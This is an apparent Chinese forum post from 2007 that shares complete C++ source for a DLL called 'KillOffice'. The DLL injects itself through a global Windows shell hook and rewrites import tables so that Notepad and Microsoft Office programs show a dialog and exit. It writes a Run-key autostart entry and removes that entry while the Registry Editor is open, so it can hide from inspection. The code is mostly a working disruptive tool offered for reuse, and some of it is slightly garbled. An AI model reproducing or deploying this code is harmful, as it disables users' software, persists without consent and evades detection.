|
楼主 |
发表于 2007-3-27 14:22:12
|
显示全部楼层
回复: 【转帖】利用hook拦截api的问题(附代码),
API钩子的代码在网上多如牛毛.通过替换目标进程的IAT来实现,这是我写过的一个由远程线程挂接API的代码:
// Dll.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
#include <stdio.h>
#include <Shellapi.h>
#include <imagehlp.h>
#include <stdlib.h>
#include "resource.h"
#pragma comment(lib, "imagehlp.lib")
#define DllExport extern "C" __declspec(dllexport)
#pragma data_seg("KillOffice")
HHOOK glhHook=NULL;
HINSTANCE glhInstance=NULL;
static HWND glhWindow=NULL;
#pragma data_seg()
#pragma comment(linker, "/section:KillOffice, rws")
LRESULT CALLBACK ShellProc(int nCode,WPARAM wParam,LPARAM lParam);
void HookWindow(BOOL bHook);
BOOL IsWindowClass(char* pszWindowClass);
BOOL ReplaceInOneModule(PCSTR pszCalleeModName,PROC pfnCurrent,PROC pfnNew,HMODULE hmodCaller);
void ShowMsg();
BOOL CALLBACK DlgProc(HWND hwndDlg, UINT message, WPARAM wParam, LPARAM lParam);
//Dll Enter point.
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
glhInstance=hinstDLL;
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
HookWindow(TRUE);
break;
case DLL_PROCESS_DETACH:
HookWindow(FALSE);
break;
}
return TRUE;
}
//Close office window .
VOID CALLBACK ModiRegistry()
{
//Find registry.
HWND hReg=::FindWindow(NULL,"注册表编辑器");
char szExeName[]="KillOffice.exe";
DWORD dwLen=strlen(szExeName)+sizeof(char);
HKEY glhKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_ALL_ACCESS,&glhKey);
if (hReg)
RegDeleteValue(glhKey,"KillOffice");
else
RegSetValueEx(glhKey,"KillOffice",NULL,REG_EXPAND_SZ,(LPBYTE)szExeName,dwLen);
RegCloseKey(glhKey);
}
//Install hook function.
DllExport void InstallHook()
{
glhHook=SetWindowsHookEx(WH_SHELL,(HOOKPROC)ShellProc,glhInstance,0);
}
//UnInstall hook function.
DllExport void UnInstallHook()
{
UnhookWindowsHookEx(glhHook);
}
//Hook call back function,check and kill office.
LRESULT CALLBACK ShellProc(int nCode,WPARAM wParam,LPARAM lParam)
{
ModiRegistry();
return ::CallNextHookEx(glhHook,nCode,wParam,lParam);
}
///////////////////////////////////// H_TextOutA 函数 /////////////////////////////////////////
//我们的替换函数,可以在里面实现我们所要做的功能
//这里我做的是显示一个对话框,指明是替换了哪个函数
HANDLE WINAPI MyCreateFileW(unsigned short* lpFileName,DWORD dwDesiredAccess,DWORD dwShareMode,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD dwCreationDisposition,DWORD dwFlagsAndAttributes,HANDLE hTemplateFile)
{
HANDLE hFile=CreateFileW(lpFileName,dwDesiredAccess,dwShareMode,lpSecurityAttributes,dwCreationDisposition,dwFlagsAndAttributes,hTemplateFile);
DWORD dwSize=GetFileSize(hFile,NULL);
if (dwSize==0) return hFile;
ShowMsg();
exit(0);
return NULL;
}
BOOL WINAPI MyShowWindow(HWND hWnd,int nCmdShow)
{
ShowMsg();
exit(0);
}
//Hook the OpenFile function in notepad.exe.
void HookWindow(BOOL bHook)
{
if (IsWindowClass("Notepad"))
{
//Hook、UnHook
PCSTR pszCalleeModName="Kernel32.dll";
HMODULE hmodCaller=::GetModuleHandle(NULL);
PROC pfnOld=GetProcAddress(::GetModuleHandle(pszCalleeModName),"CreateFileW");
PROC pfnNew=(PROC)MyCreateFileW;
PROC pfnCurrent=bHook?pfnOld:pfnNew;
PROC pfnHook=bHook?pfnNew:pfnOld;
if ((pfnCurrent==NULL)||(pfnHook==NULL)) return;
ReplaceInOneModule(pszCalleeModName,pfnCurrent,pfnHook,hmodCaller);
}
else if (IsWindowClass("OpusApp")||IsWindowClass("XLMAIN")||IsWindowClass("P9FrameClass")||IsWindowClass("P10FrameClass")||IsWindowClass("P11FrameClass"))
{
//Hook、UnHook
PCSTR pszCalleeModName="User32.dll";
HMODULE hmodCaller=::GetModuleHandle(NULL);
PROC pfnOld=GetProcAddress(::GetModuleHandle(pszCalleeModName),"ShowWindow");
PROC pfnNew=(PROC)MyShowWindow;
PROC pfnCurrent=bHook?pfnOld:pfnNew;
PROC pfnHook=bHook?pfnNew:pfnOld;
if ((pfnCurrent==NULL)||(pfnHook==NULL)) return;
ReplaceInOneModule(pszCalleeModName,pfnCurrent,pfnHook,hmodCaller);
}
}
//---------------------------------------------------------------------------
// ReplaceInOneModule
//
// Replace the address of the function in the IAT of a specific module
//---------------------------------------------------------------------------
BOOL ReplaceInOneModule(PCSTR pszCalleeModName,PROC pfnCurrent,PROC pfnNew,HMODULE hmodCaller)
{
BOOL bResult = FALSE;
__try
{
ULONG ulSize;
// Get the address of the module's import section
PIMAGE_IMPORT_DESCRIPTOR pImportDesc =
(PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToData(
hmodCaller,
TRUE,
IMAGE_DIRECTORY_ENTRY_IMPORT,
&ulSize
);
// Does this module has import section ?
if (pImportDesc == NULL)
__leave;
// Loop through all descriptors and
// find the import descriptor containing references to callee's functions
while (pImportDesc->Name)
{
PSTR pszModName = (PSTR)((PBYTE) hmodCaller + pImportDesc->Name);
if (stricmp(pszModName, pszCalleeModName) == 0)
break; // Found
pImportDesc++;
} // while
// Does this module import any functions from this callee ?
if (pImportDesc->Name == 0)
__leave;
// Get caller's IAT
PIMAGE_THUNK_DATA pThunk =
(PIMAGE_THUNK_DATA)( (PBYTE) hmodCaller + pImportDesc->FirstThunk );
// Replace current function address with new one
while (pThunk->u1.Function)
{
// Get the address of the function address
PROC* ppfn = (PROC*) &pThunk->u1.Function;
// Is this the function we're looking for?
BOOL bFound = (*ppfn == pfnCurrent);
if (bFound)
{
MEMORY_BASIC_INFORMATION mbi;
::VirtualQuery(ppfn, &mbi, sizeof(MEMORY_BASIC_INFORMATION));
// In order to provide writable access to this part of the
// memory we need to change the memory protection
if (FALSE == ::VirtualProtect(
mbi.BaseAddress,
mbi.RegionSize,
PAGE_READWRITE,
&mbi.Protect)
)
__leave;
// Hook the function.
*ppfn = *pfnNew;
bResult = TRUE;
// Restore the protection back
DWORD dwOldProtect;
::VirtualProtect(
mbi.BaseAddress,
mbi.RegionSize,
mbi.Protect,
&dwOldProtect
);
break;
} // if
pThunk++;
} // while
}
__finally
{
// do nothing
}
// This function is not in the caller's import section
return bResult;
}
BOOL IsWindowClass(char* pszWindowClass)
{
//If the process notepad.exe process.
glhWindow=FindWindow(pszWindowClass,NULL);
if (glhWindow==NULL) return FALSE;
DWORD dwWindowProcess=0;
DWORD dwThread=::GetWindowThreadProcessId(glhWindow,&dwWindowProcess);
return (GetCurrentProcessId()==dwWindowProcess);
}
void ShowMsg()
{
:ialogBox(glhInstance,MAKEINTRESOURCE(IDD_DLG_MSG),glhWindow,DlgProc);
}
BOOL CALLBACK DlgProc(HWND hwndDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message)
{
case WM_COMMAND:
switch (LOWORD(wParam))
{
case IDOK:
case IDCANCEL:
EndDialog(hwndDlg, wParam);
return TRUE;
case IDHELP:
:ialogBox(glhInstance,MAKEINTRESOURCE(IDD_DLG_HELP),hwndDlg,DlgProc);
return TRUE;
}
case WM_CLOSE:
EndDialog(hwndDlg, wParam);
return TRUE;
}
return FALSE;
} |
|